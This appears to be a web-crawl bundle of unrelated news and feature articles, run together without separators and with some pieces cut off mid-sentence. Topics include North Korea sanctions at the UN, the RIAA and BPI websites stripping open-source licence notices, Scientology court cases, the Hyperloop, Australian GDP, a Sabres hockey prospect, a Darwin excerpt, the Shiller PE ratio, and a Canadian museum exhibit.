At the UN, China's ambassador Liu Jieyi warned that the crisis was worsening and emphasized the need for dialogue and a diplomatic solution.
'China will never allow chaos and war on the (Korean) peninsula,' he asserted.
Liu urged the parties to agree to a Chinese-Russian plan calling for the North to freeze its missile and nuclear tests and the United States and South Korea to suspend joint military exercises.
Haley rejected the proposal as 'insulting.'
'When a rogue regime has a nuclear weapon and an ICBM pointed at you, you do not take steps to lower your guard. No one would do that. We certainly won't,' she declared.
Russia said it would study the new US proposals for sanctions, but again stressed those measures alone would not resolve the crisis.
'This is not the way to get parties to the table to seek a political solution,' said Russian Ambassador Vassily Nebenzia.
The council has imposed seven sets of sanctions on North Korea since it first tested a nuclear device in 2006, but Pyongyang has repeatedly found ways to circumvent the measures.
South Korea used ballistic missiles in a live-fire exercise simulating an attack on the North's nuclear site
The most recent resolutions, however, have zeroed in on the economy, targeting key exports sectors such as coal that are a source of hard currency for the regime.
Haley reiterated US threats to impose sanctions on countries that conduct trade with North Korea, saying these nations will be seen as 'giving aid to their reckless and dangerous nuclear intentions'.
That could have major reverberations: China is the largest trading partner of both the North and the United States.
South Korea's defense ministry said it was already strengthening its defenses, in part by deploying more US-made Terminal High-Altitude Area Defense (THAAD) missile launchers.
The South carried out an early-morning volley of ballistic missiles on Monday simulating an attack on the North's nuclear test site, followed on Tuesday by the naval drills.
US President Donald Trump and South Korean leader Moon Jae-In spoke on the phone Monday and agreed to remove limits on the payload of the South's missiles, fixed at 500 kilograms according to a 2001 bilateral agreement.
Trump also approved in principle, the sale of'many billions of dollars' worth of military weapons and equipment from the United States by South Korea,' according to a White House readout of the call which did not mention any specific new deals.
Seoul was the fourth-biggest importer of US arms between 2010-2016, purchasing nearly $5 billion of weaponry in that period according to an analysis by the Stockholm International Peace Research Institute.
On Sunday US monitors measured a powerful 6.3-magnitude earthquake near the North's main testing site.
Hours before the test, the North released images of Kim inspecting a device it called a 'thermonuclear weapon with super explosive power' entirely made 'by our own efforts and technology'.
The South's defence minister said Seoul believed the North had succeeded in miniaturising a bomb to fit into a missile.
The North says it needs nuclear weapons to defend itself against the threat of invasion, and analysts say it is seeking to strengthen its hand for any future negotiations with Washington.It turns out that even the most vocal anti-piracy advocates are guilty of infringing the copyrights of others on the Internet. TorrentFreak has discovered that the websites of the music industry groups RIAA and BPI have removed the copyright notices from popular web software, violating the open source licenses these scripts are distributed under.
Copyright is a double-edged sword, and those who sharpen one side often get cut by the other.
Two weeks ago we reported that the new Healthcare.gov website had stripped the copyright notice from one of the scripts it used. This blatant act of ‘piracy’ prompted us to take a closer look at the websites of several anti-piracy organizations, and today we present our findings.
As it turns out the U.S. Government is not the only one violating copyright licenses. The websites of music industry groups RIAA and BPI also use infringing code.
On both sites we found open source JQuerys scripts that are released under the MIT license. This license permits any person or organization to use, copy, modify, merge, distribute, or even sell copies of the software. There’s only one condition users have to agree to; that the original copyright notice stays intact.
Ironically, the scripts used on the RIAA and BPI websites have the copyright licenses removed.
BPI uses the depreciated template script jQuery.tmpl.min.js, and as can be seen below, yesterday there was no reference to the MIT license or the copyright holder listed at the top of the file.
BPI violation
The image below shows what the 2011 copy of the script should look like, with the proper copyright credits and applicable licenses included.
Proper credits
The RIAA makes a similar mistake with the image slider plugin jquery.orbit.min.js. This software is copyrighted by the design firm ZURB but the version in use at the RIAA website yesterday fails to mention this, or the MIT license.
RIAA violation
Here is what a copy of ZURB’s plugin should look like when the copyright holder and MIT license are properly mentioned.
Proper credits
TorrentFreak asked both RIAA and BPI for a comment yesterday. RIAA said it was looking into the issue and appears to have added the copyright notice now (Internet archive copy). BPI has not responded to our question but clearly received our email as they also updated the file with proper credits (cf. Internet archive).
These type of violations are not unique, and can be found in many websites all over the Internet. Still, from outfits whose raison d’être is protecting copyrights, we have to expect that these issues are carefully checked.
The violations were probably caused by the web developers who coded the RIAA and BPI sites. We doubt that any of the higher ranked executives know about it, but next time they may want to instruct their coders to keep their site free from copyright infringements.
This is not the first time that an anti-piracy group has been accused of pirating software. A few years ago the MPAA removed the linkware license form Patrick Robin’s Forest Blog software. The movie industry group later said that this was a mistake, and it was only used for testing purposes.
Instant Update: A final check upon publication revealed that RIAA and BPI both fixed the infringements, probably more swiftly than the average website processes DMCA requests. Neither group provided a comment on the copyright violations.SINCE it was founded in the 1950s by L. Ron Hubbard, a science-fiction writer, the Church of Scientology has fought legal battles across the world for acceptance as a legitimate religion that deserves to enjoy the same legal and tax status as more traditional faiths. This has been a roller-coaster month for the movement, which invites people to take psychological tests and then undergo mind-expanding forms of "training" which are said to be tailored to their personalities.
On October 16th the movement suffered a severe blow in the highest appeals court in France, which upheld the 2009 conviction for fraud of Scientology's main institutions in the country, and of five of the group's leaders. The institutions, including a bookstore, have been fined €600,000 ($827,000) and two prominent figures received suspended prison terms of two years each. The Church of Scientology, which claims more than 10m worldwide members including film stars John Travolta and Tom Cruise, said the verdict was a blow to religious freedom and vowed to appeal to the European Court of Human Rights.
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But significantly, the French court verdicts, including the latest one, find that Scientology's normal activities—offering character tests and then treatment, including medicaments—amount to a form of unfair manipulation. The case started when a group of people in France underwent personality assessments and were told that serious problems had been uncovered which would cost money to remedy. Lawyers for Scientology argued that the 2009 verdict was unfair because the judiciary was biased thanks to propaganda against the movement which had circulated in French officialdom. This argument was firmly rejected.
The following day, a court in Amsterdam brought much better news for the group; it accepted Scientology's bid for the status of a public-benefit organisation, similar to longer-established religions. This followed an investigation of the courses offered by the organisation and the fees charged. The Dutch verdict accepted Scientology's claim that "auditing" and "training" sessions were not commercial operations but part of the activity of a religious group. This reversed the finding of a lower court that a form of commercial business was indeed being practised.
According to Marco Ventura, a professor of law and religion at the Universities of Louvain and Siena, much broader principles are at stake in these cases than the fortunes of one idiosyncratic organisation. The Dutch verdict represents a relatively purist and invidualistic approach to religious freedom which brings the commercial principle of caveat emptor—let the buyer beware—into the realm of belief. From this point of view, any religion can be seen as a form of cult (in that it invites people to join and discourages them from leaving) and any cult can aspire to be a religion, as long as it doesn't physically harm people. The French decision reflects a more prescriptive stance, which feels able to distinguish with confidence between religions and cults. In the same spirit, there is a high-level French government agency which watches new religious groups and offers advice to people who feel they have become entrapped.
There's an irony here, one which crops up again and again when discussing religious freedom. The French state, like the American one and perhaps a bit more fiercely, aspires to be religion-neutral. It refuses to affirm or deny the truth-claims of any religion. Yet in order to police such a regime, judges and sometimes bureaucrats have to make assessments—about the difference between a religion and a cult, for example—which require them to delve deep inside the cognitive and psychological world of a faith and its adherents. Even for a secular state, enforcing liberty of conscience can be a "religious" question.Strangely enough Elon Musk’s most disruptive idea yet, might be his most underestimated and misunderstood notion. The idea is the Hyperloop, a super-fast transportation system that operates inside a tube.
The Hyperloop is highly disruptive because it would greatly reduce travel times, if it works as advertised. A video released by Hyperloop One; a unicorn pushing the technology, claims a Hyperloop pod would travel between the United Arab Emirates cities of Dubai and Abu Dhabi in just 12 minutes.
The 159.4 kilometer trip currently takes around two hours by car. The same video claims that Hyperloop would reduce travel time between Dubai and Doha in Bahrain from seven hours to 23 minutes. The distance between those cities is 379 kilometers.
A trip between Dubai and Saudi Arabia’s capital city of Riyadh which now takes around 10 hours by car or one hour and 45 minutes by plane would take 48 minutes by Hyperloop. The distance between Dubai and Riyadh is nearly 1,000 kilometers (975.24) to be exact.
The Annihilation of Distance
If these claims are true, and we have no way of knowing because an actual Hyperloop has not been tested; the technology would totally disrupt transportation. The disruption would rival that created by the advent of the automobile in the 20th Century or railroads in the 19th Century.
An obvious effect of Hyperloop would be to make it possible for people to commute across an entire country or large areas of one. An American would be able to live in Buffalo; or Roanoke, Virginia, and commute to New York City as easily as a Brooklynite commutes to Manhattan on a daily basis. An Englishman would be able to live in Manchester and commute to London on a daily basis.
Such annihilation of distance would totally transform countries, cities, communities and regions. New lifestyles would be possible for example, construction workers or other professionals that would be able to work anywhere in a nation and still sleep at home every night.
Whole industries including domestic airlines and traditional railroads would disappear. Driving would be greatly reduced, and long-distance drives might become a thing of the past.
Were it to be applied to freight, which is Hyperloop One’s plan, the technology would transform commerce. It would be possible to ship a package in New York at nine a.m. and have it delivered in Chicago shortly after lunch time.
Many areas of the economy from the oil industry; Hyperloop runs on electricity, to real estate would be affected by the technology. An obvious effect of Hyperloop might be to crash real estate values in some areas such as Brooklyn. Why would anybody pay a fortune to live in Brooklyn; when there are dozens of historic cities throughout the Northeastern United States that are far cheaper and filled with historic buildings?
The only thing that makes Brooklyn a more desirable place to live than Rochester, or Scranton, is its’ proximity to Manhattan. Hookup a transportation system that makes traveling between Manhattan and Reading, Pennsylvania, as easy as taking the subway between Manhattan and Brooklyn, and the price of real estate in Williamsburg will plummet.
So what is Hyperloop Anyway?
The Hyperloop is simply a long tube similar to a pipeline from which most air has been removed. This reduces wind resistance and greatly increases speed.
That enables a pod shaped object to be pushed through at high speeds by a combination of electric motors and levitation. Weather cannot interfere with the system because it is inside a tube. Since the tube would probably be elevated, it would not be affected by road traffic the way some trains are.
The concept is scientifically feasible and hardly new. Such transportation systems have been a stock plot in science fiction for generations. It is possible now because some of the recent advances in engineering and computer assisted design.
Despite its’ disruptive nature, the Hyperloop has been ignored, large because Musk’s involvement is somewhat peripheral. He is not involved with Hyperloop One, but is building a test track for the technology at his SpaceX rocket factory in Hawthorne, California.
We need to watch Hyperloop carefully because two events are about to propel it into the news. Hyperloop One is working closely with the government of the United Arab Emirates to develop a system. On November 8; the same day as the American presidential election, Hyperloop One announced that it would build the first commercial Hyperloop system in partnership with the Dubai Roads and Transport Authority.
Musk himself is planning to test Hyperloop pods designed by college students at Space X next year. Either of these events might prove Hyperloop is feasible. If it is every investor and observer needs to take stock of this highly disruptive technology.
The Company that Might Bring Hyperloop to Life
Hyperloop One in particular bears watching because it has a serious CEO in the form of former Cisco Systems Inc. (NASDAQ: CISCO) President Rob Lloyd. Lloyd, who helped create Cisco’s networks has claimed the first Hyperloop could be up and running by 2020. It also attracted serious corporate partners such as the engineering company AECOM (NYSE: ACM) and the French and German national railroads.
The company has also proven very adept at raising money raking in $50 million in venture capital in Fall 2016, and making plans to raise $160 million more. It’s also put out some pretty serious estimates of Hyperloop’s cost around $121 million a mile (around $75 million a kilometer) to build. The company’s cofounder and President Shervin Pishevar is a well-known Silicon Valley venture capitalist known for his investment in Uber.
Hyperloop One is also building a test track for the system in North Las Vegas, Nevada. The first Hyperloop Tubes are under construction now, even though no pods or trains are running through them. If the company starts operating Hyperloop that might cause the technology to take off.
A profoundly disruptive technology might be about to become reality and nobody seems to be paying attention. The only major leader that seems to have shown an interest in Hyperloop is Vladimir Putin, no major U.S. politician has even mentioned it. Putin is pushing ambitious plans for a “Hyperloop Silk Road” across Russia that would connect China and Europe.
One has to wonder how the world is going to deal with something like Hyperloop. If the claims about are true, it might change everything and nobody will see it coming.Australian economy shrinks 0.5pc in September quarter, worst fall since global financial crisis
Updated
Australia's economy shrank 0.5 per cent in the September quarter, well below already pessimistic analyst forecasts and its steepest decline since the global financial crisis of late-2008.
Key points: Annual GDP growth 1.8pc, quarterly contraction 0.5pc
Public capital spending, private building investment and net exports drive fall
Real net national disposable income rises 0.8pc in quarter on higher export prices
The annual rate of growth came in at an anaemic 1.8 per cent, according to the Bureau of Statistics data, also below expectations.
Economists were generally expecting a slight fall in gross domestic product (GDP), with the typical forecast for a -0.1 per cent quarter and economic growth of 2.2 per cent over the year.
A range of partial figures led analysts to their downbeat predictions, with yesterday's trade data pointing to a 0.2 percentage point subtraction from economic growth, while construction data released last week were much worse than expected and business investment was also weak.
However, the final result was considerably weaker than forecast, pushing the Australian dollar down the best part of half a cent to 74.2 US cents by 11:38am (AEDT).
The final National Accounts data showed that slumping private investment in new dwellings contributed 0.3 percentage points to the GDP decline, with new engineering detracting 0.2 percentage points.
Public capital expenditure, such as infrastructure investment, knocked 0.5 percentage points off growth in the September quarter after a strong June quarter.
The ABS noted that higher-than-usual rainfall contributed to much of the decline in building activity.
Analysts say recession unlikely as national income jumps
The last time Australia had a negative quarter was March 2011, when floods in Queensland knocked out a large part of the nation's coal production.
Prior to that, Australia had negative quarters in December 2008 (where the economy shrank 0.7 per cent during the global financial crisis), and December 2000 (a 0.3 per cent fall following a flat September quarter on the introduction of the GST).
However, one negative quarter does not meet the widely accepted definition of a recession, which requires two falls in a row, and last occurred in Australia in the first half of 1991.
Another positive is that GDP has rebounded by 1.1 per cent in the quarter immediately after each of the previous three negative quarters since the early-'90s recession.
Capital Economics analyst Paul Dales said some kind of rebound is likely again in the current quarter.
"When annual jobs growth has slumped to a two-year low at the same time, there is certainly evidence of a widespread weakening in the economy," he observed.
"But the 0.5 per cent month-on-month rebound in retail sales in October suggests that the fourth quarter got off to a good start and a possible 12 per cent quarter-on-quarter leap in the terms of trade in the fourth quarter will boost incomes too.
"So Australia will probably avoid its first recession (two consecutive quarters of falling output) in 25 years."
Also in better news, the recent trend of "nominal GDP" and income growth lagging so-called "real GDP" because of falling commodity prices amid rising export volumes reversed last quarter, pushing these more accurate measures of household and budget income higher.
Nominal GDP rose 0.5 per cent in the September quarter and 3 per cent over the year and has a much closer relationship with budget revenue than the headline ABS figure.
Real net national disposable income, which the ABS describes as the National Accounts' best measure of household wellbeing, also rose 0.8 per cent in the September quarter largely due to a 4.5 per cent jump in the price of Australia's exports relative to the cost of imports.
Treasurer Scott Morrison said that a 0.5 per cent rise in real net national disposable income per capita was welcome news.
"That is the first time we have seen three consecutive quarters of growth in this living standards measure since 2011," he told reporters.
Australia's economy 'weaker than we thought for some time'
However, former Kevin Rudd economic advisor Andrew Charlton, who runs his own consultancy AlphaBeta, said his calculations show the weak headline September quarter numbers are closer to reality than the strong headline GDP data from earlier this year.
"The pessimists are out in force today saying the economy is collapsing. The optimists say this is a one-off blip that we'll bounce back from next quarter. The truth is in the middle," the economist wrote in a note.
"Today's negative number isn't as much of a crash as it seems... but that's only because Australia's economy has been weaker than we thought for some time."
Mr Charlton argued that the best way to lift the economy out of this downturn would be to boost infrastructure spending.
"Australia needs a short term plan to increase spending on infrastructure and other productive public assets (especially while interest rates are so low) and a medium term plan to reign in recurrent spending over time," he explained.
"Standard & Poor's has clearly said that the major threat to Australia's credit rating is high household debt (supported by easy monetary policy), not high government debt (from expansive fiscal policy).
"The best way to safeguard Australia's rating would be a balanced policy approach."
The Treasurer seemed to indicate a willingness to contemplate such an approach.
"The contraction in real GDP recorded in the September quarter is not just a reminder, not just a wake-up call or a warning about being complacent when it comes to economic growth, it is a demand to support economic policies that drive the investment needed to support job security," he said.
"There is good debt and there is bad debt. Bad debt is when you borrow money to pay for today's payments... Good debt is when you're investing in things that create productive assets and build productivity capacity for the future."
Topics: economic-trends, money-and-monetary-policy, australia
First postedBrendan Guhle has impressed again this preseason. ©2016, Dan Hickling, Olean Times Herald
BUFFALO – Sabres prospect Brendan Guhle tries not to think about it. The defenseman doesn’t ask any questions, either.
He’s happy as long as he’s in Buffalo.
“It’s definitely a little nerve-racking, I’d say,” Guhle said Thursday inside KeyBank Center.
Six days before opening night, Guhle, 19, is still battling to make the Sabres out of training camp as a junior-age player, a rarity.
Thanks to injuries to defensemen Zach Bogosian (groin) and Dmitry Kulikov (bruised tailbone) and Rasmus Ristolainen’s long contract negotiation, Guhle’s chances of skating Thursday against Montreal grow every day.
Guhle, the 51st overall pick in 2015, will make his fifth exhibition appearance in tonight’s finale in Ottawa against the Senators.
He has, of course, experienced some ups and downs this preseason. Sabres coach Dan Bylsma mentioned Guhle has inactive stretches where “he’s not been using his skating ability.”
Still, the 6-foot-2, 192-pound Guhle always rebounds.
“He’s showed quite a bit in digging in … and playing a very good, solid, hard second and third period in both of the last two games,” Bylsma said this morning. “It’s earned him one more game. The defensive situation with injuries, he’s got a possibility of earning another game if he plays well tonight for us.”
That would be Guhle’s first regular-season NHL appearance. The Western Hockey League star spent a few days with the Sabres early last season as he recovered from a concussion.
A year ago, before Dion Phaneuf’s wicked hit sidelined him, Guhle became the talk of camp, turning heads. Naturally, that greatly raised expectations for this season.
“I could be under the microscope,” Guhle said. “I know they’re watching me. I don’t need to think about that.”
He added: “There’s a lot of unknown, I guess, for me. I’m just … trying to do my own thing.”
In other news, Sabres goalie Robin Lehner will start tonight. Defenseman Tyson Strachan, who’s on an AHL contract, has recovered from an ankle injury and practiced this morning.
The rest of tonight’s forwards line and defense from left to right:
– Evander Kane, Jack Eichel, Sam Reinhart
– Alexander Nylander, Zemgus Girgensons, Hudson Fasching
– Tyler Ennis, Johan Larsson, Marcus Foligno
– Nick Deslauriers, Derek Grant, Brian Gionta
– Guhle, Jake McCabe
– Josh Gorges, Casey Nelson
– Justin Falk, Cody Franson
Update: The Sabres have assigned center Cal O’Reilly and defenseman Taylor Fedun to the AHL Rochester Americans (pending waivers) and recalled goalie Linus Ullmark. In addition, Strachan has been released from his tryout and sent to the Amerks.ERBIL — The Turkmen block in Kurdistan Region Parliament has reiterated its support for holding a referendum on Kurdish independence, saying that they should not wait for the international community to grant them with this “natural right”.
Mona Qahwachi, the Head of the Turkmen Development bloc in the Kurdistan Region Parliament, told BasNews that Turkmens have always supported the Kurdish independent referendum as a legal and natural right of the people in the region.
She argued that the Kurdish Peshmerga forces, independently form Baghdad and without receiving any support form
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SALT LAKE COUNTY, Utah -- One man is in custody after a SWAT situation in West Valley City early Sunday morning.
A shots fired incident in Salt Lake City Saturday night led authorities to the standoff that occurred at about 3 a.m.
At about 10:30 p.m. on Saturday, nine shots were fired toward police officers in the neighborhood of 1071 W. Wenco Circle. Police say there had been reports of a suspect who had a gun in the area and was trying to find and hurt someone.
As officers were talking to witnesses, the suspect, identified as a man in his 40s, allegedly fired at police. Nobody was injured.
At 3 a.m., the same man, who authorities say, shot at police in Salt Lake City, was involved in a SWAT situation near the 3800 South block of 3200 West.
Police say two women were also inside an apartment with the suspect.
The SWAT team used an explosive breach to enter the residence and get all the people out.
Officers on scene confirm that the man was armed at the time and was on parole prior to this arrest.
"Based on the circumstances and the history that this individual has we wanted to be cautious, not just for our officers but for his safety as well,” said Lt. Tyrone Farillas with Salt Lake City police.
The women were also taken into custody at the time. Police say it is unknown what or if they had any involvement in the prior incident in Salt lake City.
The suspect's name has not been released.Six-year-old Wakana Kumagai began to run from the car when she arrived at a temporary mass grave site in Higashi-Matsushima, Miyagi prefecture.
She had come to meet her father.
On that day Wakana attended an entrance ceremony for her elementary school. Afterward she went with her mother and older brother to the grave site. She showed off her dress and bright red school satchel as she described the entrance ceremony to her father. But her father, Kazuyuki, slept in the soil.
He was only 31 when he died.
On March 11, Wakana’s mother Yoshiko received a phone call from husband, Kazuyuki, just after the magnitude 9.0 earthquake struck at 2:46 p.m. “A tsunami is coming. Take the children and go to the elementary school (shelter). I will go later too” he told her. Yoshiko picked up her two children in the car and, as they made their way toward the elementary school, the car was swallowed up by the first wave of the tsunami. Miraculously the car doors didn’t open with the force of the tsunami and the three family members arrived at Omagari elementary school. The school was a makeshift shelter for those who had survived in the town that was now covered with seawater. The family awaited the arrival of Kazuyuki.
Four days later, he was found dead. His body was discovered near the elementary school where his family had waited for him.Seeds Across the Oceans November 23, 2009
New York, N.Y.
How do plants get from one land mass to another? Here's one plausible answer from a man who actually performed the necessary experiments:
Living birds can hardly fail to be highly effective agents in the transportation of seeds. I could give many facts showing how frequently birds of many kinds are blown by gales to vast distances across the ocean. We may I think safely assume that under such circumstances their rate of flight would often be 35 miles an hour; and some authors have given a far higher estimate. I have never seen an instance of nutritious seeds passing through the intestines of a bird; but hard seeds of fruit pass uninjured through even the digestive organs of a turkey. In the course of two months, I picked up in my garden 12 kinds of seeds, out of the excrement of small birds, and these seemed perfect, and some of them, which I tried, germinated. But the following fact is more important: the crops of birds do not secrete gastric juice, and do not in the least injure, as I know by trial, the germination of seeds; now after a bird has found and devoured a large supply of food, it is positively asserted that all the grains do not pass into the gizzard for 12 or even 18 hours. A bird in this interval might easily be blown to the distance of 500 miles, and hawks are known to look out for tired birds, and the contents of their torn crops might thus readily get scattered. Mr. Brent informs me that a friend of his had to give up flying carrier-pigeons from France to England, as the hawks on the English coast destroyed so many on their arrival. Some hawks and owls bolt their prey whole, and after an interval of from twelve to twenty hours, disgorge pellets, which, as I know from experiments made in the Zoological Gardens, include seeds capable of germination. Some seeds of the oat, wheat, millet, canary, hemp, clover, and beet germinated after having been from twelve to twenty-one hours in the stomachs of different birds of prey; and two seeds of beet grew after having been thus retained for two days and fourteen hours. Freshwater fish, I find, eat seeds of many land and water plants: fish are frequently devoured by birds, and thus the seeds might be transported from place to place. I forced many kinds of seeds into the stomachs of dead fish, and then gave their bodies to fishing-eagles, storks, and pelicans; these birds after an interval of many hours, either rejected the seeds in pellets or passed them in their excrement; and several of these seeds retained their power of germination. Certain seeds, however, were always killed by this process.
— Charles Darwin, On the Origin of Species (1859), pgs. 261-2The famous Shiller PE ratio is once again at the center of much debate.
The measure -- which is based on 10-year, inflation-adjusted earnings -- indicates that stocks are once again extremely overvalued.
Detractors, like BofA/ML's David Bianco think the measure is useless because the Shiller number is distorted by writeoffs, and compares apples to oranges (stocks pre-and post-war, basically).
For investors, what matters is not whether stocks are "overvalued" or more expensive than they were in history, but whether using the ratio can actually make you money. In other words, should you sell when the ratio gets to high?
Anwiti Bahugana, Ph.D and Tom West of Columbia Management has run the numbers on this question, and their conclusions are interesting:
A general rule of investment proclaims that one must buy low and sell high. We tested this hypothesis using Shiller's P/E as a guide for market's cheapness. Using data from 1872 onwards, we ranked ordered P/Es and divided them into valuation quintiles. The most expensive quintile had valuations of more than 19x and the cheapest quintile with valuations less than 10x. As expected, buying stocks when valuations are the cheapest does indeed provide the best returns over the next 10 years. However, buying stocks when they are in the two uppermost (i.e., expensive) quartiles also returns about 6-8%. Results are about the same when we look at returns over the next 12-month period. Average returns are about 6% and median about 8%.
Here's their table:
This is a bit unsatisfying, but the general conclusion you could take away from this is... yes, it's better to buy stocks when they're "cheap" but at least historically, it hasn't made sense to sell stocks when they're expensive.
Stocks may be due for a tumble here, but the Shiller Ratio alone isn't enough.Airing in the Sunday, Aug. 30, editions of SportsCenter, ESPN's SC Featured examines the story of Braeden Lange, his relationship with former Dartmouth goalie Andrew Goldstein and the Courage Game.
IL columnist Peter Lasagna attended the Courage Game. Read his account of Lange's story below.
Andrew and Braeden playing lacrosse in Central Park. (Photo Courtesy of Andrew Goldstein)
Scott and Mandy Lange knew their bedside table did not contain the playbook for this Feb. 8 late night talk. Their 12-year old son Braeden had come out as gay to his best friend via social media. Braeden knew his parents would see. They walked down the hall to tell him they were there for him.
Dad, a West Chester University graduate, felt this unplanned conversation went fairly positively. Afterward, his Google search indicated otherwise. “It turns out,” Scott recalls with self-deprecating humor, “that I pretty much nailed the top four ‘Questions not to ask your child who comes out.’”
Was he sure? Was he old enough to know this for certain? Didn’t he have a girlfriend? Could this be about something else? Was this a phase?
His parents, 14-year old brother, 10- and 7-year old sisters would offer Braeden as much love, support and normalcy as always. Eldest Blake quipped, “What do you mean? He’s still stupid and aggravating. So what?”
But his accepting family could not protect Braeden from hurtful posts of peers that quickly popped up on web sites. Scott recalls the initial, 140-question long anonymous thread that Braeden shared with his parents. “The first few questions were not surprising for 12-year olds dealing with this revelation, but the majority were really tough. There were positive statements but many more were not.”
Their Downingtown, Pa., suburbs are enjoying an amazing population boom. This rapid growth necessitated construction of a new school building that accommodates 1,100 sixth graders. Word travels fast, without filters, in such a setting.
Scott and Mandy could not console their son, and Braeden had very few people he felt comfortable turning to outside of his home. He thought he couldn’t trust anyone, even worried that teammates were likely behind some of the nasty Internet chatter. He cried every morning at the prospect of facing classmates, best lacrosse buddies that had changed their opinion of him overnight.
Scott describes that first month as “very dark.” Braeden shut down. He pushed friends away and craved only “to be normal.” Most frightening to his folks, Braeden talked about “just wanting to go away.”
Mandy reminded her husband about Andrew Goldstein. Goldstein is the two-time All-America goalie from Dartmouth who scored a memorable goal vs. Syracuse in the 2003 NCAA Tournament. He is also the first American professional athlete (Long Island Lizards) to come out during his playing career and a happily married Ph.D. microbiologist at UCLA.
Six hours after hearing from a desperate Scott, Goldstein sent an uplifting video. In it, he calls Braeden, “The bravest kid I’ve ever heard of.” Goldstein then mailed his Lizards helmet to Braeden.
His father saw light blaze back into his boy’s eyes. His son did not cry that night.
Andrew spent FaceTime hours with both parents and Braeden. He held the boy “accountable,” relates Scott, in crucial ways. He encouraged Braeden to let his friends back in his life. “It took you a year to make this decision,” he counseled. “You want them to be OK with it immediately. You have to give them time.”
Goldstein, Nick Welton, the You Can Play folks, LaxAllStars.com and other allies rallied to create the Courage Game. On the Sunday of Championship Weekend at Penn’s Ace Adams Field, 50 youth and 30 adult players from Philadelphia and beyond, with hundreds of enthusiastic fans, came to support Braeden, stand for inclusion, against bullying and demonstrate that all are welcome in The Creator’s Game.
One of the most impressive spokesmen of the day was 11-year old Dylan McMahon. Dylan “plays up” on Braeden’s team and attends a different school. He was an “outside” friend Braeden trusted throughout the hardest times, one of the few. Dylan’s dad Scott, a former Terp, coaches with Scott Lange.
Dylan looked straight into the ESPN camera and calmly articulated the empathy and caring thoughtfulness of someone five times his age. “He’s just my friend and a really good lacrosse player,” Dylan explained. “He’s a great friend because he always speaks his mind. He’s never afraid to express his opinion, even when it’s hard.”
Andrew Goldstein commented on the natural shift forward for the kids on the field. “These players will use less homophobic language, call something derogatorily ‘gay’ less because of playing here today. They will think more before bullying people because of Braeden.”
Opportunities to watch literal, generational change happen before one’s eyes do not come often. Dom Starsia, son Joe and his son Dom, wives Krissy and Pam witnessed. US Lacrosse’s Steve Stenersen, Nike’s Bill Daye did as well. To behold so many brought together in the name of respecting all people revealed the best of lacrosse.
There were likely more straight than gay players out on the field. Nobody thought about — or cared — who the person passing them the ball loved. They just wanted an accurate feed when they were open!
Braeden’s father describes his “most touching” moment of the Courage Game. A 65-year old man asks a friend of Scott’s to play catch. He explains that he walked away from the game in 1980, shortly after coming out. He was afraid he would not be accepted.
Until today.
“I had tears in my eyes when I saw him ask Braeden for his autograph,” the father says.
The Langes credit Goldstein for saving their son’s life. “He went from a kid who cried every night to a kid who is back. He’s more thoughtful, more confident, relaxed. We have Andrew and the lacrosse community to thank for that.”
Braeden wants to impress his new mentor today. The talented, lefty attackman holds high standards. He hits one but not his usual, multiple goals. “I didn’t play my best, but I had so much fun,” Braeden says afterward. Perhaps most importantly, for Braeden’s future happiness and his parents’ grateful hearts, their smiling boy states, “Everyone knows who I am and that feels really good.”
It is clear that this brave 12-year old has saved lives, as well.
Peter Lasagna's column appears in the July issue of Inside Lacrosse, featuring the Denver Pioneers on the cover. It is available for purchase here.
This story was originally posted on InsideLacrosse.com on June 23.
Peter Lasagna is the head coach at Bates College. The ’94 Coach of the Year at Brown and ’15, ’13 and ’05 NESCAC Coach of the Year at Bates, he’s a member of the Greater Rochester Lacrosse Hall of Fame.OTTAWA—A room devoted to the 1919 Winnipeg General Strike will be excluded from the renovated Canadian Museum of History, but officials promise the labour movement will still have a home in its halls. According to a document obtained by the Star in response to an access to information request, the Canadian Museum of History in Gatineau, Que., saw there were few risks surrounding the decision to shut down the exhibit.
The Labour Temple at the Canadian Museum of History was modelled on the main meeting room of the James St. Labour Temple in Winnipeg, which was an important meeting place for workers leading up to the 1919 Winnipeg General Strike. ( Canadian Museum of History )
“Changes can be made to the module with few political or institutional risks,” reads the summary of a draft renovation risk assessment, revised Aug. 22, 2014. “Some comments by academics cite the closure as evidence of the museum’s lack of interest in working class history.... The removal of this module represents minimal risk to the museum, though it will entail communications challenges to the academic community,” says the document. The exhibit, which opened in 1999, was modelled after a meeting room in the Labour Temple on James St. in Winnipeg, where union members met to debate, organize and vote in the months leading up to, and during, the massive strike.
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It was included in a recreated prairie-town streetscape — also featuring a print shop, a Chinese hand laundry and a reassembled Ukrainian Catholic church — in the main permanent exhibition space at the museum that has since been dismantled to make way for the new Canadian History Hall, which is scheduled to open July 1, 2017. The Canadian Museum of History has come under public scrutiny in the past couple of years, following a controversial change in name — it was formerly known as the Canadian Museum of Civilization — and mandate that had critics accusing the Conservative government of using the Crown Corporation to rewrite history in its image. The museum is clearly sensitive to suggestions of political interference and rejected any notion that the disappearance of the Labour Temple is connected to how the Conservatives feel about organized labour. “Government is certainly not telling us what to put into the hall. Nor do they know what we are putting into the hall. We are not reporting to them and they are not telling us what to do. There is a very high level of cynicism and paranoia out there,” said David Morrison, the director of research and content for the Canadian History Hall project. The Canadian Labour Congress, which has not yet been consulted about the changes, expressed concern and called on the museum to include the history of organized labour in its future plans.
“What is critical for the curators of the museum to recognize is this is an important aspect of Canada and the development of Canada,” Hassan Yussuf, president of the Congress, said by telephone Thursday. “If they didn’t adequately design the room to allow traffic to appreciate the contribution of workers in this country, then this is an opportunity to fix that — not get rid of it, by the way. Quite the opposite,” said Yussuf, who added the Canadian Labour Congress had not been consulted on any of the changes.
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New Democrat MP Pat Martin (Winnipeg Centre) was disappointed to learn the room no longer exists. “The old James St. Labour Temple was torn down in the (1960s) to make room for a new city hall so this is the last and only tribute to the historic role it played in the history of Canadian working people and the quality of life we enjoy today,” said Martin. Martin said the exhibit was created using a photograph that belonged to the Manitoba Carpenter’s Union, where he was a business manager at the time, so he feels connected to it personally. “I would be very concerned if they’re trying to minimize or downplay the contribution that unions have made in our social history and development and I’d be disappointed and I would be very upset if they trivialize it or minimize it in any way,” said Martin. The new hall is still in the planning stages, but Chantal Schryer, vice-president of corporate affairs at the museum, said labour history will be included in it. “Although we have not completed the selection of content yet, we know that the history of the labour movement in Canada and the Winnipeg General Strike will be highlighted in the new exhibition,” Schryer wrote in an email Friday, adding the virtual version of the exhibit will remain on the museum website. Morrison noted the entire streetscape that the Labour Temple was part of has been dismantled and that the union exhibit was never one of the most popular destinations in the old hall. “It got very poor attendance figures and whenever we did surveys of how well it was doing, it tended to rank towards the bottom in terms of visitor appreciation for what was happening,” Morrison said in an interview at the museum 